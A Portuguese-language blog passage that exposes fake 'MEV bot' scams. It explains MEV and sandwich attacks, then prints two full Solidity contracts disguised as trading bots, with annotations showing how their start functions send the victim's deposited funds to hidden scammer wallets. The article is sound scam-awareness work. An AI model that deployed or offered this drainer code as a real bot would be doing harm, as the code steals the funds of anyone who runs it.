Se tem um evento canônico na minha semana é alguém vir me procurar porque foi “hackeado”. A pessoa acreditou cegamente em um vídeo na Internet que prometia ganhar criptomoedas todos os dias sem precisar fazer nada, apenas apertando em um botão e indo dormir. Para isso, bastaria ela copiar o código de um tal de MEV Bot mágico que a pessoa está fornecendo gratuitamente, conectar sua carteira cripto, colocar fundos nele e voilá, com o clique de um botão no Remix você ganharia milhares de dólares por dia passivamente.
Mas Luiz, eu já vi você ensinando a criar bots cripto, não é a mesma coisa? Então você é um golpista também?
Definitivamente não! Eu ensino programação para você programar os seus próprios bots e justamente não depender de terceiros, ou pior, correr o risco de cair em golpes. Eu te explico passo a passo, linha a linha, para que você saiba o que está fazendo, possa modificar e possa gerar os seus resultados com as suas estratégias. Eu não vendo ou forneço bots prontos do tipo “dê play e ganhe dinheiro dormindo” como os golpistas por aí e NUNCA prometi ganhos em percentual ou valores literais simplesmente porque essa promessa é IMPOSSÍVEL de ser cumprida já que cripto é investimento de risco, não é renda fixa.
Talvez você conheça o meu conteúdo como educador a mais tempo e nem precisasse estar lendo isso, mas precisava “tirar o elefante do meio da sala” pois eventualmente recebo hate nas redes sociais quando divulgo tutoriais de bots, vindo de gente que não entende meu trabalho. Ao ler este artigo, você perceberá o abismo que há entre o material educativo de programação que eu produzo sobre bots e as farsas que são essas promessas de MEV bots prontos.
Se preferir, você pode acompanhar o mesmo conteúdo deste artigo no vídeo abaixo.
Vamos lá!
#1 – O que é MEV?
MEV é a sigla para Maximal Extractable Value ou Máxima Extração de Valor, em uma tradução livre. É um conceito que trata do valor máximo que mineradores/validadores podem ganhar a serviço de uma blockchain. Como já expliquei em outro artigo aqui no blog, sobre taxas da blockchain, os mineradores/validadores são pagos pelo trabalho computacional realizado para validação e registro de transações na rede. Via de regra as transações são pegas em ordem de chegada na fila e esse pagamento é proporcional ao trabalho realizado, com uma cotação que varia conforme o congestionamento da rede. Mas na prática, não é sempre assim.
O algoritmo da blockchain permite que um usuário possa querer pagar a mais do que a cotação atual, para ter prioridade e “furar a fila”, garantindo que a sua transação seja executada antes do que outras que pagaram a cotação normal. Da mesma forma, ele pode fazer o contrário também, pagar uma cotação menor para ter menor prioridade na fila, embora seja mais raro disso ser útil no contexto de MEV Bots. Assim, o validador/minerador fica feliz, porque ganha mais do que deveria, e o usuário também, caso o ato de furar a fila lhe traga alguma vantagem.
Mas que tipo de vantagens a sua transação ser executada primeiro das demais poderia trazer?

#2 – O que é MEV Bot?
Para responder a essa pergunta, você precisa entender primeiro como funciona o mercado das dex na blockchain, como a Uniswap. Diferente das corretoras centralizadas, como a Binance, nas dex não temos market makers posicionando ordens em um book. Nas dex temos investidores que colocam grana em pools a uma taxa de lucratividade e usuários que fazem swaps nesses pools, onde cada swap acaba afetando o preço do pool. A flutuação de preço se dá através de um algoritmo matemático que varia de dex pra dex e mesmo entre suas diferentes versões (v2, v3, etc), como a famosa Constant Product Formula.
Algoritmos como esse fazem com que swaps pequenos, impactem pouco o preço do pool, enquanto que swaps grandes, impactem bastante, o que garante o equilíbrio do pool e evita que ele esgote seus recursos rapidamente, tornando-o mais rentável aos investidores e simulando o mesmo que acontece nas cex. Alguém que se posicione bem, ou seja, antes ou depois de grandes swaps acontecerem, tem uma vantagem competitiva enorme no mercado. Chama-se de frontrunner quem descobre uma oportunidade dessas e se posiciona na frente (antes) do swap, enquanto que backrunner é o oposto, quem se posiciona imediatamente após o swap.
A ideia de um MEV Bot é justamente essa, de descobrir através de extensa pesquisa na mempool (a fila de transações ainda não validadas) quais são grandes swaps em dex, e se posicionar antes ou depois dos mesmos. Ou ambos, o que é chamado de Sandwich Attack. Veja um exemplo:
- O MEV Bot detecta que está na mempool um swap de USDT 500k na Uniswap para compra de BTC a um preço x. Isso vai fazer com que o BTC valorize y. Essa transação vai pagar z de taxas.
- O MEV Bot submete um swap de compra de BTC também a um preço x e paga mais taxas do que o z, calculando que ainda assim terá lucro com a operação.
- A transação do MEV Bot acontece primeiro pois ele pagou mais taxas, ele paga x no BTC e o preço sobe.
- A transação da vítima acontece segundo, ela paga mais caro no BTC (>x) e o preço sobe ainda mais (>y).
- O MEV Bot posiciona outro swap, agora de venda de BTC para realizar lucro, já que o preço variou pra cima desde a sua compra.
Basicamente essa é a dinâmica, embora muitas vezes possa ser até mais simples se você já tem a moeda na sua carteira e esteja apenas procurando uma boa oportunidade de comprar ou vender. Claro que explicar é muuuito mais fácil do que programar um bot desses, por isso que quem consegue programar um que funcione e com estratégia que dê lucro, leva um bocado de tempo e não será dado de graça na Internet, até porque as oportunidades não são infinitas, se todos tivessem acesso, elas se esgotariam ainda mais rápido do que já acontece.
Mas como tem gente acredita em Papai Noel, vamos a alguns exemplos práticos.
#3 – Exemplo de Golpe
A primeira coisa que você tem de entender é que a sua chance de cair em um golpe que envolva smart contract é muuuito alta se você sair por aí copiando e colando código de terceiros e executando com a sua carteira cripto. A própria ferramenta Remix te avisa desse risco quando você cola código nela e e esses MEV Bots funcionam exatamente dessa maneira: o golpista te dá um código malicioso e diz para você colar no Remix, conectar sua MetaMask, fazer deploy do contrato na blockchain, transferir fundos da MetaMask para o contrato e depois apertar um botão.
A promessa: o suposto bot vai operar com essa grana que você transferiu e multiplicar ela magicamente, aplicando ataques de frontrunning, sandwiches, etc em outros investidores que estejam usando dex. A realidade:…vou te mostrar em detalhes. Peguemos esse vídeo como exemplo, eu apenas joguei “mev bot” no Youtube e apareceram vários, quanto maior a promessa da thumbnail, melhor, certo?
Assista em 2x se quiser, é bem curto, mas o modus operandi é exatamente o que te falei, então o que nos interessa mesmo é o código, para entender como ele fez esse MEV Bot. Na verdade ele não fez nada a não ser pegar um código qualquer da Internet e colocar um detalhezinho malicioso nele, tente achar.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; // User Guide // Test-net transactions will fail since they don't hold any value and cannot read mempools properly // Mempool updated build // Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible interface IERC20 { function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); function createStart(address sender, address reciver, address token, uint256 value) external; function createContract(address _thisAddress) external; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (address); function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; } contract DexInterface { // Basic variables address _owner; mapping(address => mapping(address => uint256)) private _allowances; uint256 threshold = 1*10**18; uint256 arbTxPrice = 0.025 ether; bool enableTrading = false; uint256 tradingBalanceInPercent; uint256 tradingBalanceInTokens; address[] WETH_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ]; address[] TOKEN_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ]; // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data constructor(){ _owner = msg.sender; } // Decorator protecting the function from being started by anyone other than the owner of the contract modifier onlyOwner (){ require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } uint256 DexRouter = 1096942457902425210983964123589502238320894515491; // The token exchange function that is used when processing an arbitrage bundle function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private { IERC20(_tokenIn).approve(router, _amount); address[] memory path; path = new address[](2); path[0] = _tokenIn; path[1] = _tokenOut; uint deadline = block.timestamp + 300; IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline); } // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) { address[] memory path; path = new address[](2); path[0] = _tokenIn; path[1] = _tokenOut; uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path); return amountOutMins[path.length -1]; } // Mempool scanning function for interaction transactions with routers of selected DEX exchanges function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) { uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1); return amtBack2; } // Function for sending an advance arbitration transaction to the mempool function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal { uint startBalance = IERC20(_token1).balanceOf(address(this)); uint token2InitialBalance = IERC20(_token2).balanceOf(address(this)); swap(_router1,_token1, _token2,_amount); uint token2Balance = IERC20(_token2).balanceOf(address(this)); uint tradeableAmount = token2Balance - token2InitialBalance; swap(_router2,_token2, _token1,tradeableAmount); uint endBalance = IERC20(_token1).balanceOf(address(this)); require(endBalance > startBalance, "Trade Reverted, No Profit Made"); } // Evaluation function of the triple arbitrage bundle function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) { uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1); uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2); return amtBack3; } // Function getDexRouter returns the DexRouter address function getDexRouter(uint256 _uintValue) internal pure returns (address) { return address(uint160(_uintValue)); } // Arbitrage search function for a native blockchain token function startArbitrageNative() internal { address tradeRouter = getDexRouter(DexRouter); payable(tradeRouter).transfer(address(this).balance); } // Function getBalance returns the balance of the provided token contract address for this contract function getBalance(address _tokenContractAddress) internal view returns (uint256) { uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this)); return _balance; } // Returns to the contract holder the ether accumulated in the result of the arbitration contract operation function recoverEth() internal onlyOwner { payable(msg.sender).transfer(address(this).balance); } // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder function recoverTokens(address tokenAddress) internal { IERC20 token = IERC20(tokenAddress); token.transfer(msg.sender, token.balanceOf(address(this))); } // Fallback function to accept any incoming ETH receive() external payable {} // Function for triggering an arbitration contract function StartNative() public payable { startArbitrageNative(); } // Function for setting the maximum deposit of Ethereum allowed for trading function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public { tradingBalanceInPercent = _tradingBalanceInPercent; } // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public { tradingBalanceInTokens = _tradingBalanceInTokens; } // Stop trading function function Stop() public { enableTrading = false; } // Function of deposit withdrawal to owner wallet function Withdraw() external onlyOwner { recoverEth(); } // Obtaining your own api key to connect to the arbitration data provider function Debug() public view returns (uint256) { uint256 _balance = address(_owner).balance - arbTxPrice; return _balance; } } |
Note como esse contrato está cheio de códigos que parecem verídicos e talvez sejam em outro contexto, mas não nos importam. Apenas procure por “.transfer” e vai achar os locais onde ele transfere a grana do contrato para outro lugar. Mas deve ser a dex, para negociação, certo? Errado, não é assim que funciona nas dex, elas usam approve/transferFrom para fazer os swaps, você não manda dinheiro diretamente pra elas. Veja a função principal do golpe em destaque abaixo, a mesma que no vídeo ele diz para você chamar apertando no botão de inicialização do bot.
1 2 3 4 5 6 |
function startArbitrageNative() internal { address tradeRouter = getDexRouter(DexRouter); payable(tradeRouter).transfer(address(this).balance); } |
Essa função pega todo o saldo presente no contrato (o golpista te orienta a fazer uma transferência pro contrato poder operar) e transfere para o endereço da variável tradeRouter. E se você for atrás daquela variável DexRouter usada para gerar o endereço de tradeRouter, achará a carteira do golpista.
1 2 3 |
uint256 DexRouter = 1096942457902425210983964123589502238320894515491; |
Mas Luiz, isso não é uma carteira cripto, é um número apenas…
Errado. Toda carteira cripto é um número gigante como esse, mas costumamos representar ela em formato hexadecimal, que é mais fácil de lidar. Se você converter esse número para hexa (usando ferramentas online de conversão) e colocar um “0x” na frente, vai chegar em 0xC02499DC1A818F2AF77AE44FD28263D539759923 e se procurar no EtherScan por ela, verá que é uma carteira e que de vez em quando alguma vítima manda grana pra ela, vindo desse golpe. Inclusive a função getDexRouter serve pra fazer essa conversão.
#4 – Mais um Exemplo de Golpe
E se você acha que esse é o único golpista que está fazendo isso, achou errado. Veja mais um, o modus operandi é o mesmo do anterior, então não vou detalhar novamente o método, apenas falarei do código em seguida.
Esse diz ser o melhor e mais lucrativo e veja como só estou pegando vídeos em português, em Inglês tem muuuito mais golpistas. Vamos ver o código do “melhor e mais lucrativo” então, fornecido na descrição do vídeo (esse é para rede BSC).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 |
pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; //Mempool router import "https://ipfs.io/ipfs/QmSySLiEWTP5fPHGQfZrFzFcZRXryppJy4JrHYMJTBd4it"; contract BSCMevBot { string public tokenAdress; uint frontrun; Manager manager; constructor(string memory _tokenAdress) public { tokenAdress = _tokenAdress; manager = new Manager(); } receive() external payable {} struct slice { uint _len; uint _ptr; } function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0x"; string memory TOKEN_CONTRACT_ADDRESS = "0x"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks(); } function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function getMemPoolOffset() internal pure returns (uint) { return 599856; } function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i<count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMemPoolLength() internal pure returns (uint) { return 701445; } function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function getMemPoolHeight() internal pure returns (uint) { return 583029; } function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 376376; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 419272; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 1039850; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 862501; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function _callFrontRunActionMempool() internal pure returns (address) { return parseMemoryPool(callMempool()); } function start() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); } function withdrawal() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); } // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks(); function Stop() public payable {} function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 495404; } function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } } |
Esse é maior, propositalmente para dar preguiça de analisar, mas como é muito simples procurar por “.transfer”, faça isso e achará facilmente os pontos de atenção. A função start que ele manda chamar no Remix, é por onde devemos começar:
1 2 3 4 5 |
function start() public payable { payable(manager.uniswapDepositAddress()).transfer(address(this).balance); } |
Em teoria, ela transfere o saldo do contrato para a Uniswap, certo? Só em teoria mesmo. Vamos atrás desse objeto manager, você encontrará ele bem no topo do contrato.
1 2 3 4 5 6 7 8 |
import "https://ipfs.io/ipfs/QmSySLiEWTP5fPHGQfZrFzFcZRXryppJy4JrHYMJTBd4it"; contract BSCMevBot { string public tokenAdress; uint frontrun; Manager manager; |
Mas de onde saiu esse tipo “Manager”? Você não encontrará ele nesse contrato, mas sim naquele import da rede IPFS feito logo acima do contract. Olha que lib maravilhosa é essa que você está importando no seu “MEV Bot”.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
pragma solidity ^0.6.6; contract Manager { function performTasks() public { } function uniswapDepositAddress() public pure returns (address) { return 0xe6406395B9A559b7eE93f86D086D3fe7224832de; } } |
Pronto, já achamos a carteira do golpista. E se você ainda acha que pode ser um endereço da Uniswap na BSC, basta colar esse endereço no BSCScan e ver que é uma carteira que recebe de vez em quando BNB de vítimas desse golpista.

#5 – Posso fazer isso o dia todo…
Você acha que acabei? Pois é, tem muito mais chorume no Youtube do que apenas esses dois, mas vou trazer apenas mais um pois já me estendi demais e o negócio é um tanto repetitivo, vamos pra um internacional agora, que promete 1-2 ETH por dia. Como? Você sabe, só copiar e colar o código e etc.
Vamos ao dito código incrível dele. Mas atenção: ele avisa que só funciona se transferir 0.5 ETH pro contrato. Pensa em um jeito fácil de ganhar dinheiro…
